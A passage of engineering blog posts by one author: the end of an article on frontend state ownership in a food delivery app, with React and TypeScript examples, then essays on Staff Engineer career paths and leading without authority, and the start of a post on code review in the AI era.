Eventually one update path will forget one of them.

Now the basket badge says 3, the basket contains 4 items, and checkout calculates a third number.

Every duplicated state creates a synchronization problem we must solve forever.

Derived values should remain stateless calculations unless profiling proves that memoization is necessary.

And memoization is still not a second source of truth. It is a performance detail.

5. Put workflow state in a feature controller

Adding food to a basket is more than one API call.

We want the UI to respond immediately, send the command, handle failure, and reconcile with the server response.

The stateful part belongs in a feature-level controller or hook:

export function useAddBasketItem() {
  const queryClient = useQueryClient();

  return useMutation({
    mutationFn: basketApi.addItem,

    async onMutate(command) {
      const key = basketKeys.detail(command.basketId);

      await queryClient.cancelQueries({ queryKey: key });

      const previous =
        queryClient.getQueryData<Basket>(key);

      queryClient.setQueryData<Basket>(key, (basket) =>
        basket
          ? addItemOptimistically(basket, command)
          : basket,
      );

      return { previous };
    },

    onError(_error, command, context) {
      queryClient.setQueryData(
        basketKeys.detail(command.basketId),
        context?.previous,
      );
    },

    onSuccess(serverBasket, command) {
      queryClient.setQueryData(
        basketKeys.detail(command.basketId),
        serverBasket,
      );
    },
  });
}

And the optimistic transformation itself remains stateless:

export function addItemOptimistically(
  basket: Basket,
  command: AddBasketItemCommand,
): Basket {
  const existing = basket.items.find(
    (item) => item.foodId === command.foodId,
  );

  if (!existing) {
    return {
      ...basket,
      items: [
        ...basket.items,
        {
          foodId: command.foodId,
          quantity: command.quantity,
          price: command.optimisticPrice,
        },
      ],
    };
  }

  return {
    ...basket,
    items: basket.items.map((item) =>
      item.foodId === command.foodId
        ? {
            ...item,
            quantity: item.quantity + command.quantity,
          }
        : item,
    ),
  };
}

This separation gives us a useful shape:

Stateless transformation
        +
Stateful orchestration
        +
Stateless transport

The orchestration is stateful because it deals with time:

Before the request
During the request
After success
After failure

Trying to make this workflow completely stateless would not help. The workflow is inherently temporal.

The goal is to keep that temporal complexity in one visible place.

6. Model restaurant switching as a state machine

A food delivery basket often belongs to one restaurant.

Suppose the current basket contains food from vendor A, and the user tries to add food from vendor B.

Now we have a business decision:

idle
  → checking basket
  → waiting for confirmation
  → replacing basket
  → adding item
  → completed

This should not be represented as a collection of unrelated booleans:

// Invalid combinations are possible.
{
  isLoading: true,
  isConfirmModalOpen: true,
  isReplacingBasket: true,
  hasError: true,
}

Can the flow be loading, waiting for confirmation, replacing the basket, and failed at the same time?

Probably not.

A discriminated union makes the valid states explicit:

type AddFoodFlow =
  | { status: "idle" }
  | {
      status: "awaiting-vendor-confirmation";
      foodId: string;
      nextVendorId: string;
    }
  | { status: "submitting"; foodId: string }
  | { status: "failed"; message: string };

Now the UI cannot accidentally render contradictory states without TypeScript making the problem visible.

This is a case where stateful design is not only necessary—it becomes safer when we model it honestly.

There is another important rule here:

The frontend may predict a business rule for better UX, but the backend must still validate it.

The cached basket can be stale. Another tab may have replaced it. A mobile client may have changed it. The frontend check improves the interaction; it does not become authorization or canonical validation.

7. Search and filters belong in the URL

Now consider a restaurant search page:

/restaurants?q=pizza&sort=delivery-time&free-delivery=true

The search query, sort order, filters, and pagination are state.

But they are not ordinary component state.

Users expect to:

Refresh the page without losing the result
Share the URL
Use browser Back and Forward
Bookmark the current view

That makes the URL the natural owner.

export function useRestaurantFilters() {
  const [params, setParams] = useSearchParams();

  const filters = {
    query: params.get("q") ?? "",
    sort: params.get("sort") ?? "recommended",
    freeDelivery: params.get("free-delivery") === "true",
  };

  function updateFilter(
    key: string,
    value: string | undefined,
  ) {
    setParams((current) => {
      const next = new URLSearchParams(current);

      value ? next.set(key, value) : next.delete(key);
      return next;
    });
  }

  return { filters, updateFilter };
}

The dangerous design is to maintain the same filters independently in both URL state and a global store.

Then we need bidirectional synchronization:

URL → Store
Store → URL

Which one wins after navigation?

What happens during hydration?

What happens when the user presses Back?

The simplest synchronization strategy is often not to create the duplicate in the first place.

8. Keep form state inside the form boundary

Checkout has a different type of state:

type CheckoutForm = {
  addressId: string;
  recipientName: string;
  phone: string;
  deliveryNote: string;
  paymentMethod: "online" | "cash";
};

This state changes frequently, may be invalid, and often matters only until submission.

It should usually be owned by the form rather than copied into the application store on every keystroke.

function CheckoutForm() {
  const form = useForm<CheckoutForm>({
    defaultValues: {
      addressId: "",
      recipientName: "",
      phone: "",
      deliveryNote: "",
      paymentMethod: "online",
    },
  });

  const submitOrder = useSubmitOrder();

  return (
    <form onSubmit={form.handleSubmit(submitOrder.mutate)}>
      {/* controlled checkout fields */}
    </form>
  );
}

For a long multi-step checkout, we may persist a draft in sessionStorage or on the backend.

But persistence should answer a product requirement:

Should the draft survive navigation?
Should it survive refresh?
Should it survive closing the browser?
Should it be available on another device?

Each “yes” moves the state to a longer-lived owner.

We should not choose localStorage simply because it is available.

Storage is an architectural decision about lifetime, privacy, invalidation, and migration.

9. Use global client state for genuinely shared client concerns

Not every shared value belongs to the server or URL.

For example, the basket drawer may be opened from the header, a food card, or a recommendation section.

That is a reasonable small UI store:

type BasketUiStore = {
  isDrawerOpen: boolean;
  openDrawer: () => void;
  closeDrawer: () => void;
};

export const useBasketUi = create<BasketUiStore>((set) => ({
  isDrawerOpen: false,
  openDrawer: () => set({ isDrawerOpen: true }),
  closeDrawer: () => set({ isDrawerOpen: false }),
}));

Notice what is not in this store:

basketItems
basketSubtotal
restaurantMenu
foodAvailability
checkoutForm
searchFilters

Those values already have better owners.

The fact that several components need data does not automatically mean Redux, Zustand, or Context should own it.

“Shared” is not a storage strategy.

A practical state placement guide

When I am not sure where a piece of frontend state belongs, I ask these questions in order:

The short version is:

Can it be calculated?       → Derive it
Does the server own it?     → Query cache
Must the view be shareable? → URL
Is it a form draft?         → Form state
Does one component use it?  → Local state
Do several features use it? → Feature/app store
Must it survive the tab?    → Browser or backend persistence

The final question is always:

What is the single source of truth?

Single source of truth does not mean putting all state in one global object.

It means each individual piece of state has one clear owner.

The complete ownership map

For our food delivery application, the result looks like this:

State	Owner	Why
Search query	URL	Shareable and navigation-aware
Restaurant filters	URL	Must survive refresh and Back/Forward
Menu and availability	Query cache	Server-owned and potentially stale
Canonical basket	Backend	Shared business state
Basket snapshot	Query cache	Temporary browser representation
Guest basket ID	Cookie/local storage	Must survive refresh
Basket item count	Derived calculation	Already exists inside basket items
Basket drawer visibility	UI store	Shared client-only interaction
Selected food image	Local component state	One component needs it
Checkout inputs	Form state	Temporary, high-frequency edits
Checkout step	Route or workflow state	Depends on navigation requirements
Order status	Query cache or live subscription	Server-owned and changes over time

This table is more important than the library choices.

We can replace Zustand with Redux.

We can replace TanStack Query with another server-state solution.

We can replace React Router with a framework router.

If ownership remains clear, the architecture still has a chance to remain understandable.

What do we gain from this architecture?

1. Smaller test surfaces

Pure functions and presentational components do not require the entire application environment.

We can test pricing rules, mapping, validation, and rendering without booting a router, query client, and global store for every test.

2. Fewer synchronization bugs

We do not keep the same fact in URL state, component state, query cache, and global state simultaneously.

Fewer copies mean fewer opportunities for disagreement.

3. Clearer feature ownership

The basket package owns basket workflows.

The API layer owns transport.

The query cache owns fetched snapshots.

The backend owns canonical business data.

This becomes increasingly important when multiple teams work in the same monorepo.

4. Better reusability

Stateless UI can be reused without importing the original page's hidden assumptions.

5. More predictable scaling

Explicit boundaries make it easier to split bundles, move a feature, introduce SSR, or later extract a microfrontend if the organization actually needs one.

The architecture does not make those changes free, but it reduces the number of hidden dependencies we discover during them.

What does it cost?

1. More boundaries and files

A FoodCard, feature controller, API module, query definition, and pure transformation are more pieces than one component that does everything.

For a small application, this can be unnecessary ceremony.

2. Ownership requires team discipline

The structure only helps if engineers preserve it.

If every urgent task bypasses the feature boundary and imports stores directly, the architecture slowly becomes theoretical.

3. Optimistic updates are difficult

Rollback, duplicate requests, race conditions, and server reconciliation require careful design.

The code feels fast to the user because the complexity moved into the workflow.

4. Server state is eventually inconsistent

The browser cache is always a snapshot. We need explicit freshness, invalidation, and refetch strategies.

5. There is still stateful code

We have not eliminated complexity.

We have concentrated it.

And concentrated complexity is only useful when the boundary remains understandable.

This architecture is not perfect

There is no universally correct frontend state architecture.

If the product is offline-first, local persistence becomes much more important.

If order tracking uses live events, we need subscription state and reconnection behavior.

If each feature is independently deployed, microfrontend runtime boundaries change how state can be shared.

If the backend returns incomplete mutation responses, invalidation may be safer than directly replacing the cache.

If the application is small, several layers shown here may be overengineering.

The purpose of this architecture is not to provide a template that everyone should copy.

It is to make one idea visible:

Good state architecture is less about choosing a state management library and more about choosing the correct owner, lifetime, and source of truth for each piece of information.

Libraries can make state easier to store.

They cannot decide whether that state should exist.

That decision is still engineering work.

A checklist I would use in design review

For every new state value, I would ask:

Who owns this state?
Is it canonical or only a cached snapshot?
Can it be derived from something we already have?
How long should it live?
Should it survive refresh, tab closure, or device changes?
Does it belong in the URL?
Who is allowed to update it?
What happens when two updates race?
How does it become stale?
How do we recover after failure?

If these questions have clear answers, the library choice usually becomes much easier.

If they do not, adding another store probably will not solve the real problem.

Final thought

A large frontend is naturally stateful.

The user moves through time, the network is asynchronous, and the server can change independently.

But that does not mean every component, service, and package should remember things.

Keep rendering stateless where possible.

Keep transformations pure.

Keep transport explicit.

Put temporal workflows inside clear feature boundaries.

Give every piece of state one owner.

The goal is not a stateless frontend.

The goal is a frontend where state cannot hide.

I would love to hear how you approach this in large applications:

Where does basket state live in your frontend?

And which state management decision became expensive only after the product grew?

What Comes After Senior? When the Career Path Is No Longer Linear

Shayan Mirzaie — Fri, 11 Sep 2026 09:38:12 +0000

For the first few years of a software engineering career, the path is relatively clear — at least on paper.

You usually start as an intern.

Then you learn how to handle small tasks independently and become a Junior Engineer.

As your experience grows, your technical knowledge gets deeper, and you become capable of owning larger pieces of work, you move toward Mid-level.

Eventually, your decisions become more mature, you can independently handle complex problems, and you become one of the engineers the team can rely on.

You become a Senior Engineer.

Of course, this journey looks different for everyone.

It might take five years. It might take ten.

It might happen inside one company, or across several companies.

But the general direction is usually clear:

More independence. Harder problems. More ownership. More impactful decisions.

Until one day, you finally become Senior.

And then a strange question appears:

Okay... now what?

Senior Isn't the End of the Road — But It Might Be the End of the Linear Road

For many of us, the first several years of our careers have a relatively clear destination:

I want to become a Senior Engineer.

But once we get there, the next step becomes much less obvious.

One piece of advice I often give engineers who have recently become Senior is:

Don't rush to the next level. Fill out your Seniority first.

Getting the Senior title and becoming a mature Senior Engineer don't necessarily happen on the same day.

If someone gets promoted to Senior inside a company, there is probably strong evidence that they have the technical ability, ownership, and judgment expected at that level.

But some part of that success is also likely connected to their knowledge of that particular company, product, people, systems, and domain.

That's why I think there's value in spending some time at this level.

Experience real production incidents.

Make decisions that turn out to be wrong.

See the consequences of an architectural decision six months later.

Watch a project you thought was simple become complicated.

Work with different kinds of engineers and teams.

Experience trade-offs where there is no obviously correct answer in a book.

Those experiences gradually turn someone who has the Senior title into a mature Senior Engineer.

There's another idea I've had for a while that I call:

"Senior in this company" vs. "Senior in general."

That's probably worth an entire article on its own.

But even after you've filled out your Seniority, eventually the same question comes back:

What's next?

From Here, You Have to Start Designing Your Own Career

Recently, I read Staff Engineer: Leadership Beyond the Management Track by Will Larson.

One of the ideas in the book strongly aligned with what I've experienced myself:

After Senior, your career is no longer necessarily a predefined, linear progression.

If we simplify things a lot, two common directions start to appear.

One is the People Management track, leading toward roles like Engineering Manager and potentially larger management responsibilities later.

The other is the Technical Leadership track, with roles commonly called Staff Engineer, Principal Engineer, and similar titles.

Neither is the "better" version of the other.

They are different kinds of work.

The important question is figuring out which type of work aligns with the career you actually want.

For now, I want to focus on the second path.

It's closer to the work I'm doing today, and Larson's book helped me put clearer language around several things I had already started experiencing.

Maybe someday, after more experience and reading on the management side, I'll write about that path too.

A Staff Engineer Isn't Just a Stronger Senior Engineer

It's easy to imagine the career ladder like this:

Junior → Mid → Senior → Staff

And from that, assume that a Staff Engineer is simply a Senior Engineer who knows more system design, writes better code, and solves harder technical problems.

I think this is exactly where our mental model needs to change.

Until Senior, a large part of our growth is about increasing our own capabilities.

At first, we need help completing a task.

Then we can complete tasks independently.

Then we own features.

Then we own larger projects and make more important technical decisions.

Eventually, we become the person people call when things get difficult.

And organizations often reward exactly this behavior.

Hard bug?

You solved it.

Production incident?

You fixed it.

Important project?

You owned it.

Difficult architectural decision?

Everyone came to you.

Those behaviors are part of what makes us Senior Engineers.

But interestingly, the same behaviors that helped us become Senior can eventually limit our growth beyond Senior.

From Being the Hero to Creating More Heroes

Imagine that every time there's a difficult problem, you step in.

You design the solution.

You take the hardest part of the implementation.

When production breaks, you save the day.

Whenever the team gets stuck, everyone waits for you.

You're probably a very good engineer.

But there's a problem:

Your impact is limited by your own capacity.

There are only so many hours in your day.

This is where I think one of the most important mindset shifts after Seniority begins.

The question gradually changes from:

"How can I solve this?"

to:

"How can I make sure this gets solved well without needing me to be the hero?"

That doesn't mean becoming detached from technical work.

Quite the opposite.

A Staff Engineer is often one of the most experienced technical people around.

When production is genuinely on fire, they might be exactly the person who needs to step in.

The real skill is understanding:

Where does my direct involvement create the most value, and where should I let someone else solve the problem?

A Staff Engineer Needs to Know Where to Spend Their Attention

Imagine production is broken and customers are unable to place orders.

The risk is high.

Time matters.

Your experience could directly reduce business impact.

This is probably the moment to get involved.

Now imagine a side project without a particularly strict deadline.

One of the Senior Engineers on your team can own it.

It will probably take them longer than it would take you, and they'll need some guidance along the way.

Maybe you could finish it in three days while they need a week.

It might still be better not to do it yourself.

Because the outcome isn't only:

Project completed.

It's:

Project completed + one more experienced engineer.

I think one of the underrated skills at Staff level is allocation of attention.

It's not enough to know how to solve difficult problems.

You need to understand:

Which problems are actually worth solving yourself?

Delegation Doesn't Mean Abandonment

Of course, "let someone else do it" can very quickly become bad delegation.

If you hand a project to another engineer and come back three months later asking what happened, you haven't delegated.

You've abandoned the problem.

I think the amount of freedom and guardrails should depend mainly on two things:

The risk of the problem and the experience of the person.

The more critical the problem, the smaller the acceptable failure space.

We can define clearer acceptance criteria.

Review the design before implementation.

Use ADRs for important decisions.

Define milestones.

Review the work at specific points instead of constantly hovering over the engineer.

The goal isn't to check on someone every five minutes.

It's to control the amount of risk we're delegating based on the engineer's current capabilities — and gradually expand that boundary through experience and feedback.

A good Staff Engineer doesn't just delegate work.

They increase the organization's capacity to make good decisions.

Maybe One Sign of Growth Is Becoming Less Necessary

There's something slightly paradoxical about this.

From Junior to Senior, we spend years becoming more reliable.

A Junior might say:

"I need help doing this."

A Senior can say:

"You can give me this problem. I'll handle it."

But after a certain point, growth starts to look different.

A Staff Engineer might say:

"I'll make sure you don't always need me for this problem anymore."

I've started experiencing this more in my own role as well.

For some projects, we've defined other engineers as owners of freeze and release processes.

I've shared responsibilities I previously handled directly with stronger engineers on the teams.

I've also stopped attending some daily meetings.

Because if a team needs its Lead in the daily meeting every single day just to keep moving, there might be a deeper problem.

The goal isn't to do less work.

The goal is to become less of a bottleneck.

When Other People Get the Credit, You Might Be Doing Your Job Well

There's also a psychological shift here.

Until Senior, success is often very visible.

You built the feature.

You fixed the bug.

You designed the architecture.

Your name is on the PR.

At Staff level, some of your best work might result in someone else's name being more visible than yours.

Imagine a Senior Engineer owns an important project.

Maybe you helped establish the initial direction.

You challenged their design.

You helped them identify risks.

You unblocked them a few times behind the scenes.

But ultimately, they delivered the project.

I think most of the credit should belong to them.

Beyond mentorship, a Staff Engineer can become a sponsor for strong engineers around them.

Give them meaningful opportunities.

Give them real ownership.

And when they succeed, help them become visible.

Because the growth of engineers around you is itself evidence of your impact.

From Solution to Outcome

If I had to summarize this whole transition in one idea, it would probably be:

The focus moves from Solution to Outcome.

A strong engineer asks:

"What's the best solution to this problem?"

At a larger scope, another question needs to come first:

"What outcome does solving this problem create for the team or organization?"

The answer might be a new architecture.

It might be a library.

It might be changing a process.

It might mean changing ownership of part of the system.

And sometimes the best engineering decision might be to build nothing at all.

This shift also expands your time horizon.

You stop looking only at the current sprint.

What will the maintenance cost of this decision look like six months from now?

Are we creating a new dependency?

Are we increasing a team's autonomy or reducing it?

Are we actually solving the problem, or just treating a symptom?

And perhaps most importantly:

Does success depend entirely on my own performance, or am I improving the performance of the system around me?

So What Does a Staff Engineer Actually Look Like?

This was one of my favorite parts of Will Larson's framework.

When we say "Staff Engineer," the picture in my head might be completely different from the one in yours.

Unlike earlier career levels, Staff Engineering doesn't have one universal shape.

Larson describes four common Staff archetypes:

Tech Lead, Architect, Solver, and Right Hand.

These aren't strict job descriptions.

The boundaries aren't perfectly defined either.

They're better understood as lenses for thinking about the different ways Staff-level impact can show up inside an organization.

Let's make them a little more concrete.

1. Tech Lead — Moving a Team or Group of Teams in One Direction

This is probably the most familiar archetype.

A Tech Lead usually works relatively close to product teams and delivery, but their job isn't simply to take the hardest tasks in the backlog.

Imagine three teams working on different parts of a large product.

Each team has its own requirements and deadlines.

Naturally, each team wants to solve its immediate problem as efficiently as possible.

But their technical decisions affect each other.

One team wants to change state management.

Another wants to split part of the architecture.

A third needs a new API contract to support its requirements.

Each decision might make sense independently.

But together, those decisions could create an ecosystem that's extremely difficult to maintain six months later.

The Tech Lead doesn't only ask:

"What's the solution for this feature?"

They also need to ask:

"How do we keep these teams moving while keeping the overall technical direction coherent?"

They might write an RFC.

They might review a design proposed by a Senior Engineer.

They might align two teams around a shared contract.

They might decide whether a piece of technical debt should be addressed now or deliberately postponed for another quarter.

And in many cases, they won't be the primary implementer of any of those projects.

Their impact comes from direction and orchestration.

This archetype is particularly close to what I've experienced in my own Lead role.

2. Architect — Stepping Back to See the Larger System

The Architect archetype tends to focus on technical direction at a broader scope.

Imagine a company with many engineering teams.

Over several years, every team has made reasonable decisions to solve its own problems.

One created its own library.

Another implemented authentication differently.

Another uses a different observability approach.

Another developed its own data-fetching patterns.

None of those decisions were necessarily bad.

But when you step back, the result might be an ecosystem where changing anything has become expensive.

The Architect's job isn't to walk in and rewrite everything.

Instead, they need to ask:

Where does standardization actually create value?

Where is variation between teams perfectly acceptable?

What should be shared?

What should remain independent?

How can migration happen without stopping product delivery?

And perhaps most importantly:

Which architectural decision creates the most leverage for the future?

Maybe the answer is a shared design system.

Maybe it's a strategy for migrating away from a legacy architecture.

Maybe it's standardizing observability across multiple teams.

Or maybe, after investigation, the answer is:

Don't change the current system.

Because the migration cost is greater than the expected benefit.

A strong Architect isn't the person who creates the most complicated diagrams.

They're someone who can balance long-term technical direction with real business constraints.

3. Solver — Going After Problems That Aren't Easy to Solve

The Solver is probably the closest archetype to the traditional image of an extremely strong engineer.

But there's an important distinction.

You don't need a Solver for every difficult bug.

Solvers tend to work on problems that are simultaneously important, ambiguous, and technically difficult.

Imagine your product's performance has gradually degraded over several months.

Nobody knows exactly why.

There isn't one metric pointing to the answer.

Maybe it's frontend.

Maybe backend.

Maybe network behavior.

Maybe architectural decisions made over the last few years have slowly accumulated.

Meanwhile, individual teams are busy delivering their own roadmaps, and nobody has enough time or context to investigate the entire problem.

The Solver enters that space.

At first, they might not know the solution either.

They decompose the problem.

Create better measurements.

Develop hypotheses.

Talk to multiple teams.

Investigate different parts of the system.

Gradually, they transform an ambiguous problem into something that can actually be solved.

And here's the important part:

Once the direction becomes clear, the Solver doesn't necessarily need to implement everything themselves.

Execution might move to the relevant teams while the Solver moves on to another difficult problem.

The value of a Solver isn't just solving difficult problems.

It's also:

Turning ambiguous, complex problems into solvable ones.

4. Right Hand — High Context, High Trust, High-Leverage Problems

This archetype is probably less familiar than the others.

Imagine a VP of Engineering or Head of Engineering responsible for many teams.

There are dozens of technical and organizational problems competing for attention.

They're all important, but that leader obviously can't personally investigate every one of them.

An experienced Staff Engineer might effectively become that leader's Right Hand.

For example, leadership notices that delivery across several teams has become slower over the last few months.

But nobody knows exactly why.

Is it product planning?

Architecture?

Cross-team dependencies?

Technical debt?

Unclear ownership?

The Right Hand might take ownership of investigating this ambiguous space.

Talk to the teams.

Gather data.

Identify recurring problems.

Figure out where process needs to change, where technical investment is necessary, and where the problem isn't actually technical at all.

Or perhaps the engineering organization has a major initiative:

Changing the release process.

Defining engineering standards.

Reducing dependencies between teams.

Leadership provides the overall direction, but someone still needs to turn that direction into real execution.

That's where the Right Hand can operate.

This role obviously requires technical ability.

But perhaps more than the other archetypes, it depends heavily on context, judgment, and trust.

The problems given to this person rarely have obvious answers.

Sometimes even the boundary between a technical problem and an organizational problem has disappeared entirely.

So Which Archetype Am I?

I don't think we need to choose one archetype and stay there for the rest of our careers.

Today you might mostly operate as a Tech Lead.

Then you spend six months leading a large migration and start operating more like an Architect.

A strange performance problem appears and you temporarily become the Solver.

As your organizational context grows, you might gradually take on some Right Hand responsibilities.

You might even operate as a combination of several archetypes at the same time.

The value of this framework, at least for me, is that it creates a better question.

Instead of only asking:

"How do I become a Staff Engineer?"

I can ask:

"What kind of Staff Engineer does my organization need right now, and where can I create the most impact?"

That's a much more practical question.

Because a Staff Engineer at a hundred-person startup might do something completely different from a Staff Engineer at a ten-thousand-person company.

You might not even have the Staff Engineer title while already doing a significant amount of Staff-level work.

Ultimately, what matters more than the title is the actual scope and impact of the work.

How Do You Move Toward Staff Engineering?

I don't think this journey can be reduced to a checklist like:

Learn System Design → Study Distributed Systems → Write More Code → Become Staff

Technical depth remains extremely important.

But moving toward Staff is less about collecting another set of technologies and more about changing your scope and impact.

If I had to create a roadmap for myself, it would look something like this:

1. Fill Out Your Seniority First

Don't rush toward the next title.

Expose yourself to real problems.

Let decisions, failures, incidents, and experience gradually improve your judgment.

2. Stop Waiting for a Bigger Project — Find a More Important Problem

If someone came to me and said:

"I want to become Staff. Give me a huge project so I can prove myself."

My first reaction probably wouldn't be to give them the largest feature on the roadmap.

I'd tell them to look around.

Which process is broken?

Which problem keeps happening?

Where are teams moving slowly?

Where is ownership unclear?

Where are engineers repeatedly solving the same problem?

Staff-level work often starts with finding an important problem nobody assigned to you.

3. Expand Your Scope From Feature to Problem Space

Instead of owning an implementation, start owning an outcome.

Don't just become the person responsible for building Feature X.

Become the person responsible for improving a situation.

4. Learn Where to Spend Your Attention

Not every problem you can solve is a problem you should solve yourself.

Consider criticality, leverage, and opportunity cost.

5. Make the Engineers Around You Stronger

Don't keep every difficult problem for yourself.

With appropriate guardrails, give other engineers opportunities to make decisions, make mistakes, receive feedback, and grow.

6. Learn to Influence Without Authority

At Staff level, many of the people you need to work with won't report to you.

You need to influence decisions through context, data, design documents, RFCs, communication, and trust.

7. Measure Success Through Outcomes

At the end, don't only ask:

"How much work did I personally complete?"

Ask:

"Because of the work I did, what works better in the team or organization now?"

But Should You Become Staff at All?

Not necessarily.

And I think this question should come before the roadmap.

Being a Senior Engineer isn't a temporary waiting room that everyone needs to escape as quickly as possible.

Someone might genuinely love deep coding, direct ownership, and hands-on technical problem solving — and remain an excellent Senior Engineer for years.

Staff Engineering isn't necessarily a "better" version of that life.

The work changes.

You might write less code directly.

There might be more alignment, design, communication, and meetings.

The problems become more ambiguous.

Success becomes less individual and more collective.

You might spend hours on something that produces zero lines of code.

And sometimes, the best result of your work is another engineer doing something important and getting recognized for it.

Before asking:

"How do I become a Staff Engineer?"

Maybe we should ask:

"Would I actually enjoy being a Staff Engineer?"

Do I enjoy problems without obvious answers?

Do I want to influence something larger than my own team's scope?

Am I willing to give some of the dopamine of solving the hard problem myself to another engineer?

Can I influence decisions without direct authority?

And can someone else's success become as satisfying as my own visible success?

If the answer to those questions is yes, maybe it's worth exploring the Staff path more seriously.

So, What Comes After Senior?

There probably isn't one answer.

You can move toward management.

You can pursue Staff Engineering.

You can remain Senior and continue deepening your craft.

You might even move between these paths during different stages of your career.

But one thing became clearer to me after reading Staff Engineer and reflecting on my own experience:

After Senior, growth isn't only about solving harder problems. It's about creating greater impact.

Sometimes that means solving a critical problem yourself.

Sometimes it means noticing a problem nobody else has noticed yet.

Sometimes it's an architectural decision that will shape the system for years.

Sometimes it's fixing a broken process.

And sometimes it's simply stepping back and giving another engineer the opportunity to step forward.

Maybe until Senior, much of the journey is about becoming someone who can be trusted with important problems.

After that, a different kind of growth begins:

Being Senior means you can take responsibility for an important problem.

Being Staff means helping build a system where important problems get solved well — even without your direct involvement.

Leadership Before the Title: How Engineers Can Start Leading Before They Become Managers

Shayan Mirzaie — Wed, 02 Sep 2026 08:09:05 +0000

I am a young manager who is still learning.

Over the years, I have learned from amazing teammates, thoughtful managers, difficult projects, honest feedback, and a slightly embarrassing number of books and articles about leadership.

One idea keeps becoming clearer:

You do not need authority to start leading.

In engineering, leadership often begins long before someone reports to you. It begins when you make a confusing problem clearer, surface a risk early, help someone succeed, or improve the way work happens.

This is the path I now think about:

Lead yourself → improve the work → help people → create team clarity → improve the system → grow other leaders.

Three myths that stop people from leading

Myth 1: “I need a title.”

A title can give you formal authority, but it does not automatically create trust.

Before a promotion, people are already watching how you behave:

Do you keep your commitments?
Do you make decisions understandable?
Do you give credit away?
Do you speak up when something feels risky?

The replacement for this myth is simple: make one useful contribution people can rely on.

Myth 2: “I must have all the answers.”

Engineering is full of uncertainty. Leaders who pretend otherwise usually make uncertainty harder to see.

Good leadership often sounds like:

“Here is what we know, here is what we do not know, and here is how we will learn more.”

Asking a precise question at the right time can be more valuable than giving a fast answer.

Myth 3: “Leadership means doing more myself.”

This is a common trap for strong individual contributors. You become the person everyone depends on, then mistake dependence for leadership.

Real leadership makes capability travel. If the work can only move when you are present, your influence has not scaled yet.

1. Start with self-leadership

Before you lead a team, you have to learn how to lead your own attention, energy, and promises.

I use four questions as a practical reset:

Choose: What is the most important outcome today?
Protect: What will I say no to so that outcome has room?
Close: What loop must I finish or clearly hand off?
Renew: What helps me return tomorrow with good judgment?

This is not about becoming perfectly disciplined. It is about becoming more reliable.

A small daily promise is enough:

“I will leave one important thing clearer.”

That might mean clarifying a ticket, writing down a decision, explaining a trade-off, or helping a teammate get unstuck.

2. Build credibility through visible judgment

People do not need you to be certain all the time. They need to understand how you are thinking.

For important engineering decisions, make four things visible:

Context: What problem are we solving?
Options: What did we consider?
Trade-off: What are we giving up?
Next check: When will we revisit the decision?

This is the basic shape of an architecture decision record, but it also works in a pull request, design review, incident channel, or planning meeting.

Clarity beats false certainty.

3. Earn influence without force

Influence is not the ability to make people obey you. It is the ability to move important work forward without relying on your job title.

Four behaviors help:

Listen first

Understand the system before prescribing a fix. The first explanation is rarely the whole explanation.

Frame the why

Connect the work to users, outcomes, constraints, and risks. People can make better decisions when they understand the context.

Make it easy to join

Offer a small next step instead of asking for abstract alignment.

Give credit away

Make other people visible. A leader who receives all the credit may look powerful for a moment, but a leader who shares credit builds a stronger network.

4. Build trust in small moments

Google’s team-effectiveness research identified psychological safety, dependability, structure and clarity, meaning, and impact as important team dynamics.

For someone beginning to lead, psychological safety can start with one sentence:

“What are we missing?”

Ask it before the plan is final. Thank the person who surfaces a concern. Own your part when confusion comes from your own communication.

The goal is not to make every conversation comfortable. The goal is to make important information safe enough to be said early.

5. Treat feedback as a loop

Feedback works best when it improves the next attempt instead of judging the last one.

A simple structure is:

Situation: When and where did it happen?
Behavior: What did you observe?
Impact: What changed because of it?
Next step: What would better look like next time?

For example:

“In yesterday’s release review, the rollback risk was not mentioned until the end. That left us with less time to respond. In the next review, can we surface operational risks at the beginning?”

Specific, timely feedback is kinder than a vague surprise months later.

6. Delegate to grow capability

Delegation is not simply removing tasks from your own workload. It is transferring ownership, context, judgment, and confidence.

The loop I try to follow is:

Define the outcome.
Transfer ownership.
Coach in the loop.
Review the result and reflect together.

The test is not “Did I do this faster myself?”

The better question is:

“Can the work move forward without me next time?”

That is how capability travels.

7. Improve the system, not only the task

Leadership becomes visible in recurring moments:

a weekly planning session,
a code review,
a handoff,
a retrospective,
an incident review,
a career conversation.

A good ritual answers one question and changes one next action.

For example:

What matters this week?
What is blocked or unclear?
What did we learn?
What changes next time?

You can practice this before managing anyone. Make one recurring interaction clearer and more useful.

8. Choose your leadership path

Leadership is bigger than management.

Technical leaders create architecture, standards, technical direction, and influence without formal authority. People leaders build teams, coach individuals, create clarity, and improve delivery and health.

Books such as Staff Engineer: Leadership Beyond the Management Track are useful because they show that technical leadership is a real path—not a consolation prize for people who do not become managers.

Other books have helped me build the picture from different angles:

The 7 Habits of Highly Effective People for personal effectiveness and principles.
The Manager’s Path for the progression into engineering management.
High Output Management for leverage and team output.
Turn the Ship Around! for creating leaders instead of followers.
Radical Candor for direct, human feedback.

A 30-day leadership experiment

Do not wait for a promotion to practice leadership.

Week 1: Observe

Ask three people: “Where is there friction, ambiguity, or risk?”

Week 2: Choose

Pick one loop you can tighten.

Week 3: Practice

Run the new behavior in public. Explain what you are trying.

Week 4: Reflect

Ask: “What changed? What should we keep?”

One visible act of leadership is enough to begin.

Final thought

Do not wait for permission to practice leadership.

Choose one behavior. Make it visible. Repeat it until people can rely on it.

Leadership is the work that makes other people more capable.

Code Review in the AI Era

Shayan Mirzaie — Sun, 23 Aug 2026 18:37:22 +0000

One thing I have been thinking about a lot recently is how AI is changing not only the way we write code, but also some of the engineering processes we have built around software development.

One of the most interesting ones, in my opinion, is Code Review.

For a long time, Code Review was never just about reviewing a few lines of code.

In large engineering teams, it has been a mechanism to:

Maintain code quality and engineering standards
Share knowledge between engineers
Improve technical decision-making
Help engineers learn and grow through feedback

Especially when multiple teams with different experience levels and working styles contribute to the same product, Code Review becomes one of the ways to keep the codebase consistent and the teams aligned.

Over the past few years working on a large-scale product at Snappfood, I have seen how important this process can be.

With multiple teams and engineers working on different parts of the product, we gradually evolved our Code Review process:

Layered reviews for important changes
Multiple approvals based on the scope and impact of changes
Reviewer rotation to spread knowledge
Automated checks and pipelines to catch repetitive issues before human review

But now, with AI becoming a bigger part of software development, a new question has emerged:

Is the Code Review process we built for the pre-AI world still enough for today's development workflow?

The problem is not only more code. It is less visibility.

One of the first things we noticed after adopting AI coding tools more heavily is that the amount of generated code increased.

Pull Requests became larger.

Changes became faster.

And understanding the full impact of a change became harder.

But I don't think larger PRs are necessarily a bad thing.

They can even be a sign that teams are moving faster and delivering more value.

